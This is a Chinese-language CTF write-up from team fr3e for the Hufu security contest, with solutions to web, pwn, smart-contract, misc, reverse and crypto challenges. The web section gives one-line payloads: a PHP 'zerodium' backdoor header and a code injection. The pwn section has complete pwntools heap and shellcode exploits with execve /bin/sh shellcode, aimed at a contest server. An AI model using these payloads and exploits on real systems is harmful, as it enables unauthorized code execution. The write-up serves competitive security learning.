虎符网络安全技能大赛wp By fr3e

 

大家好，我是fr3e战队队长now4yreal，上周和好ji友们还有学弟学妹们一起玩了虎符的比赛，赛题质量很高，给主办方点赞。

最后排名第四，给前面三支队伍还有天枢、redbud、0ops等战队的各位大佬倒茶，大佬们太强了。战队内的学弟们（init、dem0、4ndy等等）还有好ji友wi1l太强了，我全程躺，感谢大家陪我玩。

在这里公开wp，希望和大佬们交流 （整理仓促，大佬们轻喷，有问题联系我 （逃 :p

web1||solved

User-Agentt: zerodiumsystem(‘cat /flag’); Connection: close

 

web2||solved

直接穿这个a，闭合。ENV%0a);phpinfo();%0aecho(1

 

pwn1 apollo || Solved

思路
首先走地图溢出导致可以越界写到最先申请的heap 的 size，之后多次调用函数修改size到0x81,可以overlap,之后利用tcache实现任意地址读写，最后打free_hook

exp
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
# prog = 'start.sh'
#elf = ELF(prog)
# p = process(["qemu-aarch64","-g","1234","-L",".","./apollo"])#,env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("./libc-2.27.so")
p = remote("8.140.179.11", 13422)
# p = process(["qemu-aarch64","-L",".","./apollo"])#,env={"LD_PRELOAD":"./libc-2.27.so"})

def debug(addr,PIE=True): 
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 
    else:
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 

def dbg():
    gdb.attach(p)
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))


def dbgc(addr):
    gdb.attach(p,"b*" + hex(addr) +"\n c")

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------





def exp():
    # raw_input()
    # debug([0x4000002510,0])
    ru("cmd> ")#qword_14078
    # raw_input()

    cmd = ""
#-----------------------------calloc and set
    cmd += "\x4d"
    cmd += "\x10\x10"  #0x90 0x88 都分配0x100
    # cmd+= "\x4d"
#---------------------------- add 18 heap 
    cmd+= "\x2a\x01\x04"#idx
    cmd+= "\x10\x00"#size = 0x60
    # cmd += add(cmd,0,0x60)

    cmd+= "\x2a\x01\x05"#idx
    cmd+= "\x20\x00"#size = 0x60
    # cmd += add(cmd,0,0x60)

    cmd+= "\x2a\x01\x06"#idx
    cmd+= "\x20\x00"#size = 0x60
    # cmd += add(cmd,0,0x60)

    cmd+= "\x2a\x01\x07"#idx
    cmd+= "\x20\x00"#size = 0x60
    # cmd += add(cmd,0,0x60)

#---------------------------- add 1 heap 
    # cmd += add(cmd,1,0x60)
    cmd+= "\x2a\x00\x01"#idx
    cmd+= "\x10\x00"#size = 0x60    

#---------------------------- add 3 heap 
    # cmd += add(cmd,1,0x60)
    cmd+= "\x2a\x00\x03"#idx
    cmd+= "\x10\x00"#size = 0x60    

#---------------------------- add 5 heap 
    # cmd += add(cmd,1,0x60)
    cmd+= "\x2a\x00\x05"#idx
    cmd+= "\x10\x00"#size = 0x60    

# #---------------------------- add 7 heap 
#     # cmd += add(cmd,1,0x60)
    cmd+= "\x2a\x00\x07"#idx
    cmd+= "\x10\x00"#size = 0x60    

# #---------------------------- add 9 heap 
#     # cmd += add(cmd,1,0x60)
#     cmd+= "\x2a\x00\x09"#idx
#     cmd+= "\x10\x00"#size = 0x60    

#     #---------------------------- add b heap 
#     # cmd += add(cmd,1,0x60)
#     cmd+= "\x2a\x00\x0b"#idx
#     cmd+= "\x10\x00"#size = 0x60    


#     #---------------------------- add d heap 
#     # cmd += add(cmd,1,0x60)
#     cmd+= "\x2a\x00\x0d"#idx
#     cmd+= "\x10\x00"#size = 0x60    



    #---------------------------- add 
    # cmd += add(cmd,1,0x60)
    cmd+= "\x2a\x01\x08"#idx
    cmd+= "\x10\x00"#size = 0x60    

    cmd+= "\x2a\x03\x08"#idx
    cmd+= "\x10\x00"#size = 0x60    

    cmd+= "\x2a\x05\x08"#idx
    cmd+= "\x10\x00"#size = 0x60    

    cmd+= "\x2a\x07\x08"#idx
    cmd+= "\x10\x00"#size = 0x60    

    cmd+= "\x2a\x09\x08"#idx
    cmd+= "\x10\x00"#size = 0x60    

    cmd+= "\x2a\x0b\x08"#idx
    cmd+= "\x10\x00"#size = 0x60    

    cmd+= "\x2a\x0d\x08"#idx
    cmd+= "\x10\x00"#size = 0x60    

    cmd+= "\x2a\x0f\x08"#idx
    cmd+= "\x10\x00"#size = 0x60    










#-----------------------------delete 
    cmd+="\x2f\x00\x01"
    cmd+="\x2f\x00\x03"
    cmd+="\x2f\x00\x05"
    cmd+="\x2f\x00\x07"
    # cmd+="\x2f\x00\x09"
    # cmd+="\x2f\x00\x0b"
    # cmd+="\x2f\x00\x0d"

    cmd+="\x2f\x01\x08"
    cmd+="\x2f\x03\x08"
    cmd+="\x2f\x05\x08"
    cmd+="\x2f\x07\x08"
    cmd+="\x2f\x09\x08"
    cmd+="\x2f\x0b\x08"
    cmd+="\x2f\x0d\x08"
    cmd+="\x2f\x0f\x08"

#     # cmd+="\x2f\x00\x01"

# #-----------------------------set flag
    cmd +="\x2b\x00\x01\x03" #idx 1
    cmd +="\x2b\x00\x03\x03" # idx 3
    cmd +="\x2b\x00\x05\x03" # idx 5
    cmd +="\x2b\x00\x07\x03" # idx 7
    # cmd +="\x2b\x00\x09\x03" # idx 9
    # cmd +="\x2b\x00\x0b\x03" # idx b
    # cmd +="\x2b\x00\x0d\x03" # idx d


    cmd +="\x2b\x01\x08\x03" # 
    cmd +="\x2b\x03\x08\x03" # 
    cmd +="\x2b\x05\x08\x03" # 
    cmd +="\x2b\x07\x08\x03" # 
    cmd +="\x2b\x09\x08\x03" # 
    cmd +="\x2b\x0b\x08\x03" # 
    cmd +="\x2b\x0d\x08\x03" # 
    cmd +="\x2b\x0f\x08\x03" # 




    for i in range(4):
        cmd+="\x64"

    for i in range(0x81-4+1):
        cmd += "\x73" 

    # cmd += "\x73" 

#--------------------------------------ovlap ok


    # cmd+= "\x2a\x01\x05"#idx
    # cmd+= "\x20\x00"#size = 0x60
    # # cmd += add(cmd,0,0x60)

    cmd+="\x2f\x01\x05"  # delete heap do2
    cmd+="\x2f\x01\x04"  # delete heap do1

    cmd+= "\x2a\x01\x04"#idx
    cmd+= "\x70\x00"#
#--------------------------------------leak
    cmd+= "\x2a\x01\x09"#idx
    cmd+= "\x20\x00"#


    cmd+= "\x2a\x01\x0a"#idx
    cmd+= "\x20\x00"#


# # #--------------------------- 1620
    # cmd+= '\x70'
    # cmd+="\x2f\x01\x0a"  # delete heap do1

    # cmd += "\x61" 
    cmd+= '\x70'

    cmd+="\x2f\x01\x09" 



    s(cmd)
    for i in range(8):
        sleep(0.5)
        s('/bin/sh\x00')
    for i in range(8):
        sleep(0.5)
        s('/bin/sh\x00')
    # sleep(0.5)
    # s()

    # for i in range(8):#0x00000040009b3630   0x4000013EF0
    pay = 0x10*'d'+p64(0)+p64(0x31)+p64(0x00000040009b3630-0x18000)
    sleep(0.5)#0x40008bc790
    s(pay)
    sys = 0x40008bc128  - 0x77128 + 0x3f2c8
    # sys = 0x000000400085d000+0x4f550 #0x40008bc128
    for i in range(1):
        sleep(0.5)
        s('/bin/sh\x00')
    sleep(0.5)
    lg('sys',sys)
    s(p64(sys))
    # s('a')

    # ru("pos:1,10\x0a")
    # data = r(3)
    # data = uu64(data+'\x00\x40')
    # lg('data',data)


# c0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rcx == NULL

# 0x4f432 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a41c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL


#x/30gx 0x4000014078
# x/30gx 0x4000014010
# x/20gx 0x00000040008149b0
# x/10gx x/20gx 0x4000014088

    it()
if __name__ == '__main__':
    exp()
# 0x2a 1018 add
# 0x2b 1394 set_flag
# 0x2d 14D4 
# 0x2f 11f4 delete
# 0x64 2080 
# 0x61 1D10
# 0x77 1620
# 0x73 1990
# 0x4d eb8
# 0x70 show

 

pwn2 AGame_给转账 | solved

很简单的一道智能合约题，先调用root声明owner，在调用0xb8b8d35a方法即可

交互合约如下

完成交互后提交自己的合约地址即可

 

pwn3 SafeContract | solved

简单的数字溢出，随意发送任意数量ether调用despiot都可导致该溢出

交互合约如下

完成交互后提交自己的合约地址即可

 

pwn4 quiet || solved

vm题，有一处mmap地址执行，利用getc往那个地方写shellcode，然后执行即可

from pwn import *

p = remote('8.140.179.11', 51322)


#p = process(["qemu-aarch64","-g","1234","-L","/usr/aarch64-linux-gnu","./quiet"])#,env={"LD_PRELOAD":"./libc-2.27.so"})

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
sym     = lambda symbol             :pdbg.sym(symbol)

#elf=ELF("/lib/x86_64-linux-gnu/libc.so.6") # /lib/x86_64-linux-gnu/libc.so.6 /lib/i386-linux-gnu/libc.so.6
#libc=ELF("")
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
shellcode="\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"+"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"+"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
pay=(chr(35)+chr(41))*len(shellcode)+chr(71)

sla('cmd> ',pay)
sleep(1)
sl(shellcode)
'''
for i in range(len(shellcode)):
    sl(shellcode[i])
    sleep(0.1)
'''
it()

 

misc1 | | solved

查看日志，发现从1547行开始爆破flag

爆破成功时会sleep 2秒

根据这一点写脚本提取flag

得到

解密得到

 

re1 redemption_code | | solved

题目的 python 翻译版本长这样滴：

def check(target, inp):
    inputLen = len(inp)
    targetLen = len(target)
    test = [0] * (inputLen << 10)
    test[inp[0]] = 1

    tmp = 0
    for i in range(inputLen):
        for j in range(256):
            if j != inp[i]:
                test[256 * i + j] = test[256 * tmp + j]
            else:
                test[256 * i + j] = i + 1
        tmp = test[256 * tmp + inp[i]]

    tmp2 = 0
    for k in range(targetLen):
        tmp2 = test[256 * tmp2 + target[k]]
        if tmp2 == inputLen:
            return k - inputLen + 1
    return -1

def pre(inp):
    target1 = "Ninja Must Die 3 Is A Cruel Game, So Hard For Me"
    if check(target1, inp) == -1:
        exit(-2)

inp = "x" * 0xE

pre(inp)

target2 = "I Love Ninja Must Die 3. Beautiful Art And Motive Operation Is Creative."
if check(target2, inp) == 7:
    print "flag{%s}" % inp

flag 就是第二个句子偏移 7 的 14 个字符 Ninja Must Die

re2 GoEncrypt | | solved
输入的 flag 要满足正则：
^flag{([0-9a-f]{8})-([0-9a-f]{4})-([0-9a-f]{4})-([0-9a-f]{4})-([0-9a-f]{12})}$

类似 flag{aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee}，然后取出关键部分拼接 aaaaaaaabbbbccccddddeeeeeeeeeeee，hexdecode 得到 16 个字节，前 8 和 后 8 分别用 tea 加密，密钥是 03 02 01 00 07 06 05 04 0B 0A 09 08 0F 0E 0D 0C
由于是乱改的 tea，所以倒过来照抄，写个脚本解密

#include <Windows.h>
#include <iostream>
using namespace std;

void decode(size_t *cipher, size_t *plain)
{
    int idx = 0;
    size_t v19, v24, v26, v27, a1, v22;
    size_t low_dword = cipher[0];
    size_t high_dword = cipher[1];
    size_t key[] = { 0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F };

    v22 = 0x12345678 * 32;
    while (idx < 32)
    {
        v22 -= 0x12345678;
        v24 = low_dword;
        v26 = v24 + ((v24 >> 5) ^ 16 * v24);
        v27 = ((v22 + 0x12345678) >> 11) & 3;
        a1 = v26 ^ (v22 + key[v27] + 0x12345678);
        high_dword = high_dword - a1;
        v19 = high_dword + ((high_dword >> 5) ^ 16 * high_dword);
        low_dword = v24 - (v19 ^ (v22 + key[v22 & 3]));
        idx++;
    }
    plain[0] = low_dword;
    plain[1] = high_dword;
}
int main() {
    size_t plain[4];
    size_t cipher[]{ 0x0EC311F0, 0x45C79AF3, 0xEDF5D910, 0x542702CB };
    decode(cipher, plain);
    decode(cipher + 2, plain + 2);
    for (size_t i = 0; i < 4; i++)
    {
        cout << hex << plain[i];
    }
    return 0;
}

得到 3bbcf9ea29184fee8a2e201b47dfcb4e，按照正则的要求修改格式即可

crypto1 |  | solved
from math import gcd
from functools import reduce
E=EllipticCurve([0,213,0,288,0])
p=E((-200,680))
q=E((-200,680))
cnt=0
r=[]
while 1:
    q=q+p
    x,y=q[0],q[1]
    a=(72-x+y)/(72-18*x)
    if(a<0):
        continue
    b=(72-x-y)/(72-18*x)
    if(b<0):
        continue
    c=(-36-8*x)/(36-9*x)
    if(c<0):
        continue
    p1,q1=a.as_integer_ratio()
    p2,q2=b.as_integer_ratio()
    p3,q3=c.as_integer_ratio()
    A=p1*q2*q3
    B=p2*q1*q3
    C=p3*q1*q2
    #print(A^3+B^3+C^3==5*(A^2*B+A*B^2+A^2*C+A*C^2+B^2*C+B*C^2)+9*A*B*C)

    t=reduce(gcd, [A,B,C])

    r.append((A//t,B//t,C//t))
    cnt+=1
    print("ok")
    if(cnt==6):
        break
print(r)

用变换把方程转换为椭圆曲线，然后用生成元的倍数去试，检查解出来的a,b,c是不是为正数即可，然后通分化简为整数

 

crypto2 | | solved

n1=90491363059261404858550634231628058963249510634056675949243050070342967726901705474014306927602327030350384724177110635460575819174999690119596483244243479600712538918767265671875210900320134535674577409813015049083534046496520463201426519076941111176300156840093523729587718662300148396809204630544859119149
e1=168885479631267618895786982845222604163453078896291533672682347591744598107689212526033974774513653433252346257997820414442658988591213688157626171903932299809982342730274878146639873845642550557892032102862465267830686337683681811035549767605127670639313526152274657121913611059493817170297018143021110779877
n2=95095659207029012582441281486144446868010823436167102942651286702532916783769809925573460637458450988006229579100306132641666284428903268946094064959939187731480872200371279589619799501099719647308276024427981251602812835714397316315251516049360167072367461142715945513735666944539297649274039644651643860709
e2=803083831363140689387491043859995397264097623843277450416122235772461812328647926123252685647971839611777215549762999753046866799101827482369517811418620191075968232200493026341022069951100818193450315629944185492666858982140493791542156525823304188919134830223972206436313384674434426205057120372785617239573
n3=79783914666941430193016422767234758486269300813425360037124961732818657481292239838325070399038041076030925132009832656732232485316489140378503241203611852385887657171830207427052240486122880429096750734201402521125250313116205524437146696335787282704143922449422332849550092832299254353363532151938268614467
e3=684492483256695788393129421198297524550481983825005067209597057774764109623746650728270481031194051696472334243263072636994984124025741021144411447925322543452713770032130935145684958475930669835466496158115635503193348699515511486332577820479935984969535141042375968326457182345240372145420230964104483785721
M=int(sqrt(max(n1,n2,n3)))
A=Matrix([[M,e1 ,e2 , e3],
          [0,-n1,0  , 0],
          [0,0  ,-n2, 0],
          [0,0  ,0,  -n3]])
r=A.LLL()[0]
t=6448620018588099396425434204075361085979505748421825391542928414037428401295999009398540542847674486590236258924166930776729142654822781998610732637074093747573878661308426284101993788074712212468655888538506429550109526389221508968338088792276719947679295618317170761
x=t//M
y1=(e1*x-r[1])//n1
y2=(e2*x-r[2])//n2
y3=(e3*x-r[3])//n3
R=[]
R.append([x,y1])
R.append([x,y2])
R.append([x,y3])
print(R)

因为共用x，用格很容易求解，同时也可以接出来y

masked_flag =  10629883656219490982178951599484437698263214790268091560719514148215968944141123323489358824379735126966804354267426040231682908197526817342035901781691470
ciphertexts =  [{'n': 90491363059261404858550634231628058963249510634056675949243050070342967726901705474014306927602327030350384724177110635460575819174999690119596483244243479600712538918767265671875210900320134535674577409813015049083534046496520463201426519076941111176300156840093523729587718662300148396809204630544859119149, 'e': 168885479631267618895786982845222604163453078896291533672682347591744598107689212526033974774513653433252346257997820414442658988591213688157626171903932299809982342730274878146639873845642550557892032102862465267830686337683681811035549767605127670639313526152274657121913611059493817170297018143021110779877, 'c': (0, 90491363059261404858550634231628058963249510634056675949243050070342967726901705474014306927602327030350384724177110635460575819174999690119596483244243469196198986120292668239952402666838171832151959642809949669793954518190032439693973116745657766490465383207136884797416616202864323502381586901806453928514), 'hint': 25663983998278288319474560705}, {'n': 95095659207029012582441281486144446868010823436167102942651286702532916783769809925573460637458450988006229579100306132641666284428903268946094064959939187731480872200371279589619799501099719647308276024427981251602812835714397316315251516049360167072367461142715945513735666944539297649274039644651643860709, 'e': 803083831363140689387491043859995397264097623843277450416122235772461812328647926123252685647971839611777215549762999753046866799101827482369517811418620191075968232200493026341022069951100818193450315629944185492666858982140493791542156525823304188919134830223972206436313384674434426205057120372785617239573, 'c': (0, 95095659207029012582441281486144446868010823436167102942651286702532916783769809925573460637458450988006229579100306132641666284428903268946094064959939176080644834649736585931140833237424823927852722577715067469685760622261935834373569238657224079294882287377105449565799679890984772111495083088228691564783), 'hint': 47787248251787907615149478523}, {'n': 79783914666941430193016422767234758486269300813425360037124961732818657481292239838325070399038041076030925132009832656732232485316489140378503241203611852385887657171830207427052240486122880429096750734201402521125250313116205524437146696335787282704143922449422332849550092832299254353363532151938268614467, 'e': 684492483256695788393129421198297524550481983825005067209597057774764109623746650728270481031194051696472334243263072636994984124025741021144411447925322543452713770032130935145684958475930669835466496158115635503193348699515511486332577820479935984969535141042375968326457182345240372145420230964104483785721, 'c': (73041862154157371674229064670550888409216140053451529283374004436651536110734376938918521442316738516203639268463111472485680083502732108867931825491194808519825096059573881206695909907258008432595237281363578731293669489033897367074393143363419088244861083645807156213390581687771017186306856077620367500647, 77837817707573379707151623790394892748771598114914937592003582442426802996364758601494359727747880510291001949424184772858956540706002999451105625873493875954677023151702166989487010859391554750093501077015364319622792488092868684171640035107565651570183298377905027193006475189322440398876152882180702841119), 'hint': 6902140684527896190268467067}]

masks = []
r=[[661281602633708663826486920028427898009447098405701242291443669957936453059596989424786500921975783032016279781143, 1234160442019081205971633839080171591517296670682179517951651316669120445932747593240541724314677115317356928552223], [661281602633708663826486920028427898009447098405701242291443669957936453059596989424786500921975783032016279781143, 5584530014107972751790443286838215319435330117138078723753388886031684850098305720586321389113525873796692845334453], [661281602633708663826486920028427898009447098405701242291443669957936453059596989424786500921975783032016279781143, 5673352682784161640574325568051734030879350274946435727408336124736359465461431142246637344016863104357076555679503]]
cnt=0
for ct in ciphertexts:
    c, n, e, hint = ct['c'], ct['n'], ct['e'], ct['hint']
    #x, y = recover_x_and_y(e, n)
    x,y=r[cnt]
    cnt+=1
    p_plus_q_approx = (x*e + x)//y - 1 - n
    p_approx = (p_plus_q_approx + isqrt(p_plus_q_approx^2 - 4 * n)) // 2
    p_top =  p_approx >> 312
    P.<x> = PolynomialRing(Zmod(n), implementation='NTL')
    f = 2^312 * p_top + 2^96 * x + hint
    f = f.monic()
    delta = f.small_roots(X=2^216, beta=0.5, epsilon=0.05)[0]
    p = int(2^312 * p_top + 2^96 * delta + hint)
    q = n//p
    d = inverse_mod(e, (p+1)*(q+1))
    masks.append(decrypt(c, d, n))

flag = reduce(lambda a, b: a ^^ b, masks, masked_flag)
print(bytes.fromhex(hex(flag)[2:]).decode())

求出x,y后，后面确定下来p的高位和低位，只有中间位不知道，用coppersmith即可
后面的正常解密出flag

 

结语

我目前主攻二进制方向，windows kernel，linux kernel，v8，jsc，qemu，vmware逃逸都玩，但都很菜，现在主要精力在fuzz工具的研究上。我喜欢交朋友，我的github会分享一些ctf好的题目以及研究的一些小玩意和cve分析repo，欢迎大家加我交流。

另外fr3e主力pwn手wi1l大佬目前主攻浏览器安全以及blabla，属于全能选手，欢迎大家follow～

live long and pwn，祝大家玩的开心。